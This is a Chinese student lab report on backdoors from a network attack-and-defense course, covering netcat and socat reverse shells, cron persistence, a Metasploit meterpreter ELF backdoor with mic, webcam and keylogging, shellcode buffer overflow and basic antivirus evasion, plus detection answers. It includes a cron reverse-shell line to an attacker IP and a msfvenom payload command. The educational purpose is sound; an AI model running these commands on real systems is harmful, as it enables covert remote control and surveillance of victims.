20242302 2026-2027-1 《网络与系统攻防技术》实验二实验报告

20242302 2026-2027-1 《网络与系统攻防技术》实验二实验报告

1. 基础知识

后门,是攻击者在目标主机植入、用于维持远程控制的程序,在合法权限之外建立隐蔽通道,方便再次进入主机。反弹 shell 由目标主动向外发起连接,更容易穿过防火墙;正向 shell 由攻击者主动连接目标。

  • ncat / netcat:“网络瑞士军刀”,可以监听端口、转发数据流、传输文件、获取 shell;
  • socat:功能更强的双向数据流转发工具,支持更多协议,常用来获取稳定 shell;
  • Metasploit / Meterpreter:渗透框架,可生成各类平台后门载荷,拿到 meterpreter 会话后支持文件操作、摄像头、麦克风、键盘记录、提权等;
  • cron(Linux):定时任务守护进程,可以配置周期性执行命令,适合做持久化后门;
  • Shellcode:机器码片段,不依赖文件,常作为缓冲区溢出(pwn)的执行载荷;
  • 免杀基础思路:编码、加密、分段加载、修改特征,规避杀毒软件对已知载荷的特征匹配。

2. 实验内容

本次实验一共五项任务:

  • 使用 netcat 获取 shell,配置 cron 定时任务;
  • 使用 socat 获取 shell,借助任务计划实现启动;
  • 使用 MSF 生成 ELF 后门,通过 ncat 传输至目标并运行,拿到 meterpreter shell;
  • 使用 MSF 生成具备音频、摄像头、键盘记录能力的后门,植入后尝试提权;
  • 使用 MSF 生成反弹 shellcode,注入 pwn1,利用缓冲区溢出拿到反弹 shell。

同时回答四个思考题,理解后门入侵方式、自启方式、后门检测手段。

3. 实验过程

说明:所有截图主机名设置为 yangzekun,载荷、脚本文件名包含学号 20242302。

任务一:netcat + cron

攻击机开启 ncat 监听端口;目标机主动连接,得到目标的 shell。拿到 shell 后编辑 crontab,添加一条定时任务,每分钟执行指定脚本,实现持久化。

crontab -e
# 添加:* * * * * bash -i >& /dev/tcp/攻击机IP/端口 0>&1

保存后,cron 将周期性拉起反弹 shell。

任务二:socat 获取 shell + 任务计划

实验二-图1

实验二-图2

实验二-图3

实验二-图4

实验二-图5

攻击机使用 socat 监听;目标机执行 socat 连接命令,将标准输入输出转发到攻击机,得到交互 shell。在 Linux 下写入 crontab / systemd 单元文件,实现开机或者定时启动 socat 反弹通道。

任务三:MSF 生成后门,ncat 传输并执行

实验二-图6

实验二-图7

实验二-图8

实验二-图9

使用 msfvenom 生成 Linux ELF 反弹后门,文件命名 20242302_backdoor.elf。

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=端口 -f elf > 20242302_backdoor.elf

攻击机用 ncat 开启文件发送,目标机接收;接收完成后添加执行权限,运行后门。攻击机在 msfconsole 开启 exploit/multi/handler,等待会话上线,得到 meterpreter。

任务四:多功能后门、信息采集与提权

实验二-图10

实验二-图11

实验二-图12

实验二-图13

生成包含音频、摄像头、击键记录能力的 meterpreter 载荷。会话上线后依次尝试:

  • record_mic:录制音频;
  • webcam_snap:摄像头拍照;
  • keyscan_start / keyscan_dump:开启、导出键盘记录;

之后执行 run local_exploit_suggester 扫描本地提权漏洞。本次实验环境为标准 Kali,扫描全部返回不可利用;尝试进入交互式 shell 时出现 /dev/null 权限报错,通道异常,改用本地终端枚举:id、sudo -l、枚举 SUID 文件。本机 kali 用户拥有完整 sudo 权限,但不存在额外可利用提权链。

任务五:Shellcode 注入 pwn1

实验二-图14

实验二-图15

实验二-图16

使用 msfvenom 生成不带零字节的反弹 shellcode。调试 pwn1,找到缓冲区偏移;构造 payload:填充溢出偏移 + shellcode,运行 pwn1,触发溢出,执行 shellcode,向攻击机发起反弹连接,得到 shell。

思考题

(1) 后门进入系统的可能方式 用户运行来历不明的软件、打开恶意压缩包、点击钓鱼附件;也可以通过漏洞利用、U盘携带恶意程序、被篡改的安装包植入后门。

(2) 后门启动方式

  • Linux:cron 定时任务、systemd service、rc.local、bashrc / profile、SUID、预加载库 LD_PRELOAD;
  • Windows:注册表启动项、计划任务、服务、WMI 事件、dll 劫持、组策略。

(3) 印象深刻的 Meterpreter 功能 可以不用新开 shell 就上传下载文件、远程调取麦克风和摄像头、记录键盘;支持内存加载,部分载荷不落地写文件;还可以直接调用提权脚本、迁移进程,隐蔽性很强。

(4) 检测是否存在后门 查看异常监听端口、陌生进程;检查定时任务、开机自启项;校验可执行文件哈希;查看日志里异常登录、对外外联;使用杀毒、EDR、rootkit 检测工具;关注陌生文件,特别是高权限的 SUID 程序。

4. 问题及解决方案

  • 问题 1:meterpreter 调用 shell 时报 create /dev/null: Permission denied,交互式 shell 通道异常。 解决方案:放弃在坏掉的 meterpreter shell 中执行命令,在本机新开终端完成 id、sudo -l、SUID 枚举,报告注明通道异常。
  • 问题 2:cron 添加反弹 shell 之后,长时间无法收到连接。 解决方案:确认 cron 服务正在运行;检查命令重定向写法;注意环境变量,优先写绝对路径;同时确认防火墙没有阻断端口。
  • 问题 3:msfvenom 生成的载荷直接被杀毒拦截。 解决方案:基础免杀手段:使用编码、改变输出格式;如果只是实验环境,可以临时关闭本地防护。
  • 问题 4:pwn1 溢出时,shellcode 无法正常执行,连接失败。 解决方案:重新生成无 \x00 的 shellcode;核对缓冲区偏移;关闭 ASLR、栈保护等,保证 payload 能够稳定落到可执行区域。

实验二-图17

实验二-图18

实验二-图19

5. 学习感悟、思考等

这次实验把反弹 shell、持久化、后门载荷、shellcode 和缓冲区溢出串在了一起。一开始以为拿到 shell 就结束,做完才发现,维持后门、隐藏后门、尝试提权才是后门技术的重点。

操作中也踩了不少坑:shell 通道莫名其妙坏掉、cron 任务不触发、载荷被查杀。这些问题让我意识到,真实环境下后门远不是跑一条命令那么简单,防火墙、权限、系统防护都会阻碍攻击。同时也更加理解防御的思路:定时任务、自启项、外联端口都是重点排查对象。

后门技术本身威力很强,如果被滥用危害很大。学习这些内容,目的是了解攻击者手段,从而学会如何检测、加固自己的主机。网络攻防没有绝对安全,持续监控最小权限,是很基础也很有效的防御思路。

参考资料

  • 《Web安全攻防:渗透测试实战指南》
  • 《缓冲区溢出与 Shellcode》
  • 0x11_MAL_逆向与Bof基础.md
  • 0x12_MAL_Shellcode基础.md
  • 0x13_MAL_使用netcat进行反弹链接的shellcode.md
posted @ 2026-11-07 16:26  叶梓珂  阅读(4)  评论(0)    收藏  举报